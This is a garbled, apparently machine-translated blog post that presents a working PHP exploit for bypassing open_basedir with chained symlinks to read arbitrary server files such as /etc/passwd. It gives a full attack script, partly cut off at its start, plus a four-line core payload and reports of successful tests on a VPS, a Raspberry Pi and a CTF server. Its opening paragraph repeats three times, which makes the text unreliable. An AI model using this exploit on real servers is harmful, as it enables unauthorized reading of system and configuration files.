PHP 5 full-version bypass open

The vulnerability was raised a long time ago (about five years ago), but it is not a problem in php code, so the problem persists until now. I never noticed that yaseng told me that he could test 5.5. He posted the following in his comment: zone. wooyun. orgcontent17131. The vulnerability details are here cxsecurity.com.

The vulnerability was raised a long time ago (about five years ago), but it is not a problem in php code, so the problem persists until now. I never noticed that yaseng told me that he could test 5.5. He posted the following in his comments: http://zone.wooyun.org/content/17131,the details are as follows: http://cxsecurity.com

The vulnerability was raised a long time ago (about five years ago), but it is not a problem in php code, so the problem persists until now. I never noticed that yaseng told me that he could test 5.5.
He posted the following in his comment: Success.
Given the exp I wrote:

  0; $i--) {  chdir('..');}$paths = explode('/', $relat_file);$j = 0;for ($i = 0; $paths[$i] == '..'; $i++) {  mkdir($name);  chdir($name);  $j++;}for ($i = 0; $i <= $j; $i++) {  chdir('..');}$tmp = array_fill(0, $j + 1, $name);symlink(implode('/', $tmp), 'tmplink');$tmp = array_fill(0, $j, '..');symlink('tmplink/' . implode('/', $tmp) . $file, $exp);unlink('tmplink');mkdir('tmplink');delfile($name);$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";echo "\n-----------------content---------------\n\n";echo file_get_contents($exp);delfile('tmplink');function getRelativePath($from, $to) {  // some compatibility fixes for Windows paths  $from = rtrim($from, '\/') . '/';  $from = str_replace('\\', '/', $from);  $to   = str_replace('\\', '/', $to);  $from   = explode('/', $from);  $to     = explode('/', $to);  $relPath  = $to;  foreach($from as $depth => $dir) {    // find first non-matching dir    if($dir === $to[$depth]) {      // ignore this directory      array_shift($relPath);    } else {      // get number of remaining dirs to $from      $remaining = count($from) - $depth;      if($remaining > 1) {        // add traversals up to first matching dir        $padLength = (count($relPath) + $remaining - 1) * -1;        $relPath = array_pad($relPath, $padLength, '..');        break;      } else {        $relPath[0] = './' . $relPath[0];      }    }  }  return implode('/', $relPath);}function delfile($deldir){  if (@is_file($deldir)) {    @chmod($deldir,0777);    return @unlink($deldir);  }else if(@is_dir($deldir)){    if(($mydir = @opendir($deldir)) == NULL) return false;    while(false !== ($file = @readdir($mydir)))    {      $name = File_Str($deldir.'/'.$file);      if(($file!='.') && ($file!='..')){delfile($name);}    }    @closedir($mydir);    @chmod($deldir,0777);    return @rmdir($deldir) ? true : false;  }}function File_Str($string){  return str_replace('//','/',str_replace('\\','/',$string));}function getRandStr($length = 6) {  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';  $randStr = '';  for ($i = 0; $i < $length; $i++) {    $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);  }  return $randStr;}

For example, we want to read/etc/passwd. In fact, the principle is to create a link file x, point to a/a with the relative path, and then create a link file exp pointing to x /.. /.. /.. /etc/passwd. It actually points to a/.../etc/passwd, which is actually./etc/passwd. In this case, delete x and create another x Directory. However, exp still points to x/../etc/passwd, so it is successfully transferred to/etc/passwd.
The essence is the following four sentences:

symlink("abc/abc/abc/abc","tmplink");symlink("tmplink/../../../etc/passwd", "exploit");unlink("tmplink");mkdir("tmplink");

We access http: // xxx/exp. If the server supports access to linked files, we can read/etc/passwd.
No operation triggers open_basedir, but the result is that open_basedir is bypassed to read arbitrary files. The error is not in php, but I don't know who is responsible for the error, so php never cares about this problem.

I have tested both my VPS (php5.3.28 + nginx) and Raspberry Pi (php 5.4.4 + nginx) and read them successfully.
Raspberry Pi test:

Compared with the 5.3 XML hole (which many files cannot be read), the success rate is still relatively stable, and many files can be read. In addition, the version is not required, which is harmful.
A few days ago, the CTF of Cheng Xin tried this script and apache could also read it. At that time, he had read the/etc/httpd/conf/httpd. conf of the kali sub-database, so there was no result. No nearby stations are found, and the traffic is forwarded through the gateway.